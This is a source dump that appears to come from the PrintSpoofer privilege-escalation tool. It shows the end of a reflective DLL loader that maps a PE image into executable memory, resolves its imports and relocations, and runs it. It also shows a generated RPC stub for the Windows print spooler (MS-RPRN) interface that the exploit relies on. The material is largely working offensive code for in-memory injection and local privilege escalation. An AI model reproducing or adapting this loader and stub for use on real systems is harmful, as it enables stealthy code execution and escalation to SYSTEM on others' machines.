206 | uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
207 |
208 | // get the VA of the modules NT Header
209 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
210 |
211 | // uiNameArray = the address of the modules export directory entry
212 | uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
213 |
214 | // get the VA of the export directory
215 | uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
216 |
217 | // get the VA for the array of name pointers
218 | uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
219 |
220 | // get the VA for the array of name ordinals
221 | uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
222 |
223 | usCounter = 1;
224 |
225 | // loop while we still have imports to find
226 | while (usCounter > 0)
227 | {
228 | // compute the hash values for this function name
229 | dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));
230 |
231 | // if we have found a function we want we get its virtual address
232 | if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
233 | {
234 | // get the VA for the array of addresses
235 | uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
236 |
237 | // use this functions name ordinal as an index into the array of name pointers
238 | uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
239 |
240 | // store this functions VA
241 | if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
242 | pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray));
243 |
244 | // decrement our counter
245 | usCounter--;
246 | }
247 |
248 | // get the next exported function name
249 | uiNameArray += sizeof(DWORD);
250 |
251 | // get the next exported function name ordinal
252 | uiNameOrdinals += sizeof(WORD);
253 | }
254 | }
255 |
256 | // we stop searching when we have found everything we need.
257 | if (pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache)
258 | break;
259 |
260 | // get the next entry
261 | uiValueA = DEREF(uiValueA);
262 | }
263 |
264 | // STEP 2: load our image into a new permanent location in memory...
265 |
266 | // get the VA of the NT Header for the PE to be loaded
267 | uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
268 |
269 | // allocate all the memory for the DLL to be loaded into. we can load at any address because we will
270 | // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
271 | uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
272 |
273 | // we must now copy over the headers
274 | uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
275 | uiValueB = uiLibraryAddress;
276 | uiValueC = uiBaseAddress;
277 |
278 | while (uiValueA--)
279 | *(BYTE*)uiValueC++ = *(BYTE*)uiValueB++;
280 |
281 | // STEP 3: load in all of our sections...
282 |
283 | // uiValueA = the VA of the first section
284 | uiValueA = ((ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);
285 |
286 | // itterate through all sections, loading them into memory.
287 | uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
288 | while (uiValueE--)
289 | {
290 | // uiValueB is the VA for this section
291 | uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress);
292 |
293 | // uiValueC if the VA for this sections data
294 | uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData);
295 |
296 | // copy the section over
297 | uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
298 |
299 | while (uiValueD--)
300 | *(BYTE*)uiValueB++ = *(BYTE*)uiValueC++;
301 |
302 | // get the VA of the next section
303 | uiValueA += sizeof(IMAGE_SECTION_HEADER);
304 | }
305 |
306 | // STEP 4: process our images import table...
307 |
308 | // uiValueB = the address of the import directory
309 | uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
310 |
311 | // we assume their is an import table to process
312 | // uiValueC is the first entry in the import table
313 | uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
314 |
315 | // itterate through all imports
316 | while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)
317 | {
318 | // use LoadLibraryA to load the imported module into memory
319 | uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
320 |
321 | // uiValueD = VA of the OriginalFirstThunk
322 | uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk);
323 |
324 | // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
325 | uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk);
326 |
327 | // itterate through all imported functions, importing by ordinal if no name present
328 | while (DEREF(uiValueA))
329 | {
330 | // sanity check uiValueD as some compilers only import by FirstThunk
331 | if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG)
332 | {
333 | // get the VA of the modules NT Header
334 | uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
335 |
336 | // uiNameArray = the address of the modules export directory entry
337 | uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
338 |
339 | // get the VA of the export directory
340 | uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
341 |
342 | // get the VA for the array of addresses
343 | uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
344 |
345 | // use the import ordinal (- export ordinal base) as an index into the array of addresses
346 | uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD));
347 |
348 | // patch in the address for this imported function
349 | DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray));
350 | }
351 | else
352 | {
353 | // get the VA of this functions import by name struct
354 | uiValueB = (uiBaseAddress + DEREF(uiValueA));
355 |
356 | // use GetProcAddress and patch in the address for this imported function
357 | DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
358 | }
359 | // get the next imported function
360 | uiValueA += sizeof(ULONG_PTR);
361 | if (uiValueD)
362 | uiValueD += sizeof(ULONG_PTR);
363 | }
364 |
365 | // get the next import
366 | uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR);
367 | }
368 |
369 | // STEP 5: process all of our images relocations...
370 |
371 | // calculate the base address delta and perform relocations (even if we load at desired image base)
372 | uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
373 |
374 | // uiValueB = the address of the relocation directory
375 | uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
376 |
377 | // check if their are any relocations present
378 | if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size)
379 | {
380 | // uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
381 | uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
382 |
383 | // and we itterate through all entries...
384 | while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock)
385 | {
386 | // uiValueA = the VA for this relocation block
387 | uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress);
388 |
389 | // uiValueB = number of entries in this relocation block
390 | uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);
391 |
392 | // uiValueD is now the first entry in the current relocation block
393 | uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
394 |
395 | // we itterate through all the entries in the current block...
396 | while (uiValueB--)
397 | {
398 | // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
399 | // we dont use a switch statement to avoid the compiler building a jump table
400 | // which would not be very position independent!
401 | if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64)
402 | *(ULONG_PTR*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
403 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW)
404 | *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
405 | #ifdef WIN_ARM
406 | // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
407 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T)
408 | {
409 | register DWORD dwInstruction;
410 | register DWORD dwAddress;
411 | register WORD wImm;
412 | // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
413 | dwInstruction = *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD));
414 | // flip the words to get the instruction as expected
415 | dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
416 | // sanity chack we are processing a MOV instruction...
417 | if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT)
418 | {
419 | // pull out the encoded 16bit value (the high portion of the address-to-relocate)
420 | wImm = (WORD)(dwInstruction & 0x000000FF);
421 | wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
422 | wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
423 | wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
424 | // apply the relocation to the target address
425 | dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF;
426 | // now create a new instruction with the same opcode and register param.
427 | dwInstruction = (DWORD)(dwInstruction & ARM_MOV_MASK2);
428 | // patch in the relocated address...
429 | dwInstruction |= (DWORD)(dwAddress & 0x00FF);
430 | dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
431 | dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
432 | dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
433 | // now flip the instructions words and patch back into the code...
434 | *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
435 | }
436 | }
437 | #endif
438 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH)
439 | *(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
440 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW)
441 | *(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
442 |
443 | // get the next entry in the current relocation block
444 | uiValueD += sizeof(IMAGE_RELOC);
445 | }
446 |
447 | // get the next entry in the relocation directory
448 | uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
449 | }
450 | }
451 |
452 | // STEP 6: call our images entry point
453 |
454 | // uiValueA = the VA of our newly loaded DLL/EXE's entry point
455 | uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint);
456 |
457 | // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
458 | pNtFlushInstructionCache((HANDLE)-1, NULL, 0);
459 |
460 | // call our respective entry point, fudging our hInstance value
461 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
462 | // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
463 | ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter);
464 | #else
465 | // if we are injecting an DLL via a stub we call DllMain with no parameter
466 | ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);
467 | #endif
468 |
469 | // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
470 | return uiValueA;
471 | }
472 | //===============================================================================================//
473 | #ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
474 |
475 | BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
476 | {
477 | BOOL bReturnValue = TRUE;
478 | switch (dwReason)
479 | {
480 | case DLL_QUERY_HMODULE:
481 | if (lpReserved != NULL)
482 | *(HMODULE*)lpReserved = hAppInstance;
483 | break;
484 | case DLL_PROCESS_ATTACH:
485 | hAppInstance = hinstDLL;
486 | break;
487 | case DLL_PROCESS_DETACH:
488 | case DLL_THREAD_ATTACH:
489 | case DLL_THREAD_DETACH:
490 | break;
491 | }
492 | return bReturnValue;
493 | }
494 |
495 | #endif
496 | //===============================================================================================//
--------------------------------------------------------------------------------
/PrintSpoofer/ms-rprn_s.c:
--------------------------------------------------------------------------------
1 |
2 |
3 | /* this ALWAYS GENERATED file contains the RPC server stubs */
4 |
5 |
6 | /* File created by MIDL compiler version 8.01.0622 */
7 | /* at Tue Jan 19 11:14:07 2038
8 | */
9 | /* Compiler settings for ms-rprn.idl:
10 | Oicf, W1, Zp8, env=Win32 (32b run), target_arch=X86 8.01.0622
11 | protocol : dce , ms_ext, c_ext, robust
12 | error checks: allocation ref bounds_check enum stub_data
13 | VC __declspec() decoration level:
14 | __declspec(uuid()), __declspec(selectany), __declspec(novtable)
15 | DECLSPEC_UUID(), MIDL_INTERFACE()
16 | */
17 | /* @@MIDL_FILE_HEADING( ) */
18 |
19 | #if !defined(_M_IA64) && !defined(_M_AMD64) && !defined(_ARM_)
20 |
21 |
22 | #if _MSC_VER >= 1200
23 | #pragma warning(push)
24 | #endif
25 |
26 | #pragma warning( disable: 4211 ) /* redefine extern to static */
27 | #pragma warning( disable: 4232 ) /* dllimport identity*/
28 | #pragma warning( disable: 4024 ) /* array to pointer mapping*/
29 | #pragma warning( disable: 4100 ) /* unreferenced arguments in x86 call */
30 |
31 | #pragma optimize("", off )
32 |
33 | #include
34 | #include "ms-rprn_h.h"
35 |
36 | #define TYPE_FORMAT_STRING_SIZE 159
37 | #define PROC_FORMAT_STRING_SIZE 2251
38 | #define EXPR_FORMAT_STRING_SIZE 1
39 | #define TRANSMIT_AS_TABLE_SIZE 0
40 | #define WIRE_MARSHAL_TABLE_SIZE 0
41 |
42 | typedef struct _ms2Drprn_MIDL_TYPE_FORMAT_STRING
43 | {
44 | short Pad;
45 | unsigned char Format[ TYPE_FORMAT_STRING_SIZE ];
46 | } ms2Drprn_MIDL_TYPE_FORMAT_STRING;
47 |
48 | typedef struct _ms2Drprn_MIDL_PROC_FORMAT_STRING
49 | {
50 | short Pad;
51 | unsigned char Format[ PROC_FORMAT_STRING_SIZE ];
52 | } ms2Drprn_MIDL_PROC_FORMAT_STRING;
53 |
54 | typedef struct _ms2Drprn_MIDL_EXPR_FORMAT_STRING
55 | {
56 | long Pad;
57 | unsigned char Format[ EXPR_FORMAT_STRING_SIZE ];
58 | } ms2Drprn_MIDL_EXPR_FORMAT_STRING;
59 |
60 |
61 | static const RPC_SYNTAX_IDENTIFIER _RpcTransferSyntax =
62 | {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}};
63 |
64 | extern const ms2Drprn_MIDL_TYPE_FORMAT_STRING ms2Drprn__MIDL_TypeFormatString;
65 | extern const ms2Drprn_MIDL_PROC_FORMAT_STRING ms2Drprn__MIDL_ProcFormatString;
66 | extern const ms2Drprn_MIDL_EXPR_FORMAT_STRING ms2Drprn__MIDL_ExprFormatString;
67 |
68 | /* Standard interface: winspool, ver. 1.0,
69 | GUID={0x12345678,0x1234,0xABCD,{0xEF,0x00,0x01,0x23,0x45,0x67,0x89,0xAB}} */
70 |
71 |
72 | extern const MIDL_SERVER_INFO winspool_ServerInfo;
73 | static const RPC_PROTSEQ_ENDPOINT __RpcProtseqEndpoint[] =
74 | {
75 | {(unsigned char *) "ncacn_np", (unsigned char *) "\\pipe\\spoolss"}
76 | };
77 |
78 |
79 | extern const RPC_DISPATCH_TABLE winspool_v1_0_DispatchTable;
80 |
81 | static const RPC_SERVER_INTERFACE winspool___RpcServerInterface =
82 | {
83 | sizeof(RPC_SERVER_INTERFACE),
84 | {{0x12345678,0x1234,0xABCD,{0xEF,0x00,0x01,0x23,0x45,0x67,0x89,0xAB}},{1,0}},
85 | {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}},
86 | (RPC_DISPATCH_TABLE*)&winspool_v1_0_DispatchTable,
87 | 1,
88 | (RPC_PROTSEQ_ENDPOINT *)__RpcProtseqEndpoint,
89 | 0,
90 | &winspool_ServerInfo,
91 | 0x04000000
92 | };
93 | RPC_IF_HANDLE winspool_v1_0_s_ifspec = (RPC_IF_HANDLE)& winspool___RpcServerInterface;
94 |
95 | extern const MIDL_STUB_DESC winspool_StubDesc;
96 |
97 | extern const NDR_RUNDOWN RundownRoutines[];
98 |
99 | #if !defined(__RPC_WIN32__)
100 | #error Invalid build platform for this stub.
101 | #endif
102 | #if !(TARGET_IS_NT60_OR_LATER)
103 | #error You need Windows Vista or later to run this stub because it uses these features:
104 | #error forced complex structure or array, compiled for Windows Vista.
105 | #error However, your C/C++ compilation flags indicate you intend to run this app on earlier systems.
106 | #error This app will fail with the RPC_X_WRONG_STUB_VERSION error.
107 | #endif
108 |
109 |
110 | static const ms2Drprn_MIDL_PROC_FORMAT_STRING ms2Drprn__MIDL_ProcFormatString =
111 | {
112 | 0,
113 | {
114 |
115 | /* Procedure RpcEnumPrinters */
116 |
117 | 0x0, /* 0 */
118 | 0x48, /* Old Flags: */
119 | /* 2 */ NdrFcLong( 0x0 ), /* 0 */
120 | /* 6 */ NdrFcShort( 0x0 ), /* 0 */
121 | /* 8 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
122 | /* 10 */ 0x32, /* FC_BIND_PRIMITIVE */
123 | 0x0, /* 0 */
124 | /* 12 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
125 | /* 14 */ NdrFcShort( 0x0 ), /* 0 */
126 | /* 16 */ NdrFcShort( 0x8 ), /* 8 */
127 | /* 18 */ 0x44, /* Oi2 Flags: has return, has ext, */
128 | 0x1, /* 1 */
129 | /* 20 */ 0x8, /* 8 */
130 | 0x1, /* Ext Flags: new corr desc, */
131 | /* 22 */ NdrFcShort( 0x0 ), /* 0 */
132 | /* 24 */ NdrFcShort( 0x0 ), /* 0 */
133 | /* 26 */ NdrFcShort( 0x0 ), /* 0 */
134 |
135 | /* Return value */
136 |
137 | /* 28 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
138 | /* 30 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
139 | /* 32 */ 0x8, /* FC_LONG */
140 | 0x0, /* 0 */
141 |
142 | /* Procedure RpcOpenPrinter */
143 |
144 | /* 34 */ 0x0, /* 0 */
145 | 0x48, /* Old Flags: */
146 | /* 36 */ NdrFcLong( 0x0 ), /* 0 */
147 | /* 40 */ NdrFcShort( 0x1 ), /* 1 */
148 | /* 42 */ NdrFcShort( 0x18 ), /* x86 Stack size/offset = 24 */
149 | /* 44 */ 0x31, /* FC_BIND_GENERIC */
150 | 0x4, /* 4 */
151 | /* 46 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
152 | /* 48 */ 0x0, /* 0 */
153 | 0x5c, /* FC_PAD */
154 | /* 50 */ NdrFcShort( 0x8 ), /* 8 */
155 | /* 52 */ NdrFcShort( 0x40 ), /* 64 */
156 | /* 54 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */
157 | 0x6, /* 6 */
158 | /* 56 */ 0x8, /* 8 */
159 | 0x5, /* Ext Flags: new corr desc, srv corr check, */
160 | /* 58 */ NdrFcShort( 0x0 ), /* 0 */
161 | /* 60 */ NdrFcShort( 0x1 ), /* 1 */
162 | /* 62 */ NdrFcShort( 0x0 ), /* 0 */
163 |
164 | /* Parameter pPrinterName */
165 |
166 | /* 64 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */
167 | /* 66 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
168 | /* 68 */ NdrFcShort( 0x2 ), /* Type Offset=2 */
169 |
170 | /* Parameter pHandle */
171 |
172 | /* 70 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */
173 | /* 72 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
174 | /* 74 */ NdrFcShort( 0xa ), /* Type Offset=10 */
175 |
176 | /* Parameter pDatatype */
177 |
178 | /* 76 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */
179 | /* 78 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
180 | /* 80 */ NdrFcShort( 0x2 ), /* Type Offset=2 */
181 |
182 | /* Parameter pDevModeContainer */
183 |
184 | /* 82 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */
185 | /* 84 */ NdrFcShort( 0xc ), /* x86 Stack size/offset = 12 */
186 | /* 86 */ NdrFcShort( 0x1e ), /* Type Offset=30 */
187 |
188 | /* Parameter AccessRequired */
189 |
190 | /* 88 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
191 | /* 90 */ NdrFcShort( 0x10 ), /* x86 Stack size/offset = 16 */
192 | /* 92 */ 0x8, /* FC_LONG */
193 | 0x0, /* 0 */
194 |
195 | /* Return value */
196 |
197 | /* 94 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
198 | /* 96 */ NdrFcShort( 0x14 ), /* x86 Stack size/offset = 20 */
199 | /* 98 */ 0x8, /* FC_LONG */
200 | 0x0, /* 0 */
201 |
202 | /* Procedure RpcSetJob */
203 |
204 | /* 100 */ 0x0, /* 0 */
205 | 0x48, /* Old Flags: */
206 | /* 102 */ NdrFcLong( 0x0 ), /* 0 */
207 | /* 106 */ NdrFcShort( 0x2 ), /* 2 */
208 | /* 108 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
209 | /* 110 */ 0x32, /* FC_BIND_PRIMITIVE */
210 | 0x0, /* 0 */
211 | /* 112 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
212 | /* 114 */ NdrFcShort( 0x0 ), /* 0 */
213 | /* 116 */ NdrFcShort( 0x8 ), /* 8 */
214 | /* 118 */ 0x44, /* Oi2 Flags: has return, has ext, */
215 | 0x1, /* 1 */
216 | /* 120 */ 0x8, /* 8 */
217 | 0x1, /* Ext Flags: new corr desc, */
218 | /* 122 */ NdrFcShort( 0x0 ), /* 0 */
219 | /* 124 */ NdrFcShort( 0x0 ), /* 0 */
220 | /* 126 */ NdrFcShort( 0x0 ), /* 0 */
221 |
222 | /* Return value */
223 |
224 | /* 128 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
225 | /* 130 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
226 | /* 132 */ 0x8, /* FC_LONG */
227 | 0x0, /* 0 */
228 |
229 | /* Procedure RpcGetJob */
230 |
231 | /* 134 */ 0x0, /* 0 */
232 | 0x48, /* Old Flags: */
233 | /* 136 */ NdrFcLong( 0x0 ), /* 0 */
234 | /* 140 */ NdrFcShort( 0x3 ), /* 3 */
235 | /* 142 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
236 | /* 144 */ 0x32, /* FC_BIND_PRIMITIVE */
237 | 0x0, /* 0 */
238 | /* 146 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
239 | /* 148 */ NdrFcShort( 0x0 ), /* 0 */
240 | /* 150 */ NdrFcShort( 0x8 ), /* 8 */
241 | /* 152 */ 0x44, /* Oi2 Flags: has return, has ext, */
242 | 0x1, /* 1 */
243 | /* 154 */ 0x8, /* 8 */
244 | 0x1, /* Ext Flags: new corr desc, */
245 | /* 156 */ NdrFcShort( 0x0 ), /* 0 */
246 | /* 158 */ NdrFcShort( 0x0 ), /* 0 */
247 | /* 160 */ NdrFcShort( 0x0 ), /* 0 */
248 |
249 | /* Return value */
250 |
251 | /* 162 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
252 | /* 164 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
253 | /* 166 */ 0x8, /* FC_LONG */
254 | 0x0, /* 0 */
255 |
256 | /* Procedure RpcEnumJobs */
257 |
258 | /* 168 */ 0x0, /* 0 */
259 | 0x48, /* Old Flags: */
260 | /* 170 */ NdrFcLong( 0x0 ), /* 0 */
261 | /* 174 */ NdrFcShort( 0x4 ), /* 4 */
262 | /* 176 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
263 | /* 178 */ 0x32, /* FC_BIND_PRIMITIVE */
264 | 0x0, /* 0 */
265 | /* 180 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
266 | /* 182 */ NdrFcShort( 0x0 ), /* 0 */
267 | /* 184 */ NdrFcShort( 0x8 ), /* 8 */
268 | /* 186 */ 0x44, /* Oi2 Flags: has return, has ext, */
269 | 0x1, /* 1 */
270 | /* 188 */ 0x8, /* 8 */
271 | 0x1, /* Ext Flags: new corr desc, */
272 | /* 190 */ NdrFcShort( 0x0 ), /* 0 */
273 | /* 192 */ NdrFcShort( 0x0 ), /* 0 */
274 | /* 194 */ NdrFcShort( 0x0 ), /* 0 */
275 |
276 | /* Return value */
277 |
278 | /* 196 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
279 | /* 198 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
280 | /* 200 */ 0x8, /* FC_LONG */
281 | 0x0, /* 0 */
282 |
283 | /* Procedure RpcAddPrinter */
284 |
285 | /* 202 */ 0x0, /* 0 */
286 | 0x48, /* Old Flags: */
287 | /* 204 */ NdrFcLong( 0x0 ), /* 0 */
288 | /* 208 */ NdrFcShort( 0x5 ), /* 5 */
289 | /* 210 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
290 | /* 212 */ 0x32, /* FC_BIND_PRIMITIVE */
291 | 0x0, /* 0 */
292 | /* 214 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
293 | /* 216 */ NdrFcShort( 0x0 ), /* 0 */
294 | /* 218 */ NdrFcShort( 0x8 ), /* 8 */
295 | /* 220 */ 0x44, /* Oi2 Flags: has return, has ext, */
296 | 0x1, /* 1 */
297 | /* 222 */ 0x8, /* 8 */
298 | 0x1, /* Ext Flags: new corr desc, */
299 | /* 224 */ NdrFcShort( 0x0 ), /* 0 */
300 | /* 226 */ NdrFcShort( 0x0 ), /* 0 */
301 | /* 228 */ NdrFcShort( 0x0 ), /* 0 */
302 |
303 | /* Return value */
304 |
305 | /* 230 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
306 | /* 232 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
307 | /* 234 */ 0x8, /* FC_LONG */
308 | 0x0, /* 0 */
309 |
310 | /* Procedure RpcDeletePrinter */
311 |
312 | /* 236 */ 0x0, /* 0 */
313 | 0x48, /* Old Flags: */
314 | /* 238 */ NdrFcLong( 0x0 ), /* 0 */
315 | /* 242 */ NdrFcShort( 0x6 ), /* 6 */
316 | /* 244 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
317 | /* 246 */ 0x32, /* FC_BIND_PRIMITIVE */
318 | 0x0, /* 0 */
319 | /* 248 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
320 | /* 250 */ NdrFcShort( 0x0 ), /* 0 */
321 | /* 252 */ NdrFcShort( 0x8 ), /* 8 */
322 | /* 254 */ 0x44, /* Oi2 Flags: has return, has ext, */
323 | 0x1, /* 1 */
324 | /* 256 */ 0x8, /* 8 */
325 | 0x1, /* Ext Flags: new corr desc, */
326 | /* 258 */ NdrFcShort( 0x0 ), /* 0 */
327 | /* 260 */ NdrFcShort( 0x0 ), /* 0 */
328 | /* 262 */ NdrFcShort( 0x0 ), /* 0 */
329 |
330 | /* Return value */
331 |
332 | /* 264 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
333 | /* 266 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
334 | /* 268 */ 0x8, /* FC_LONG */
335 | 0x0, /* 0 */
336 |
337 | /* Procedure RpcSetPrinter */
338 |
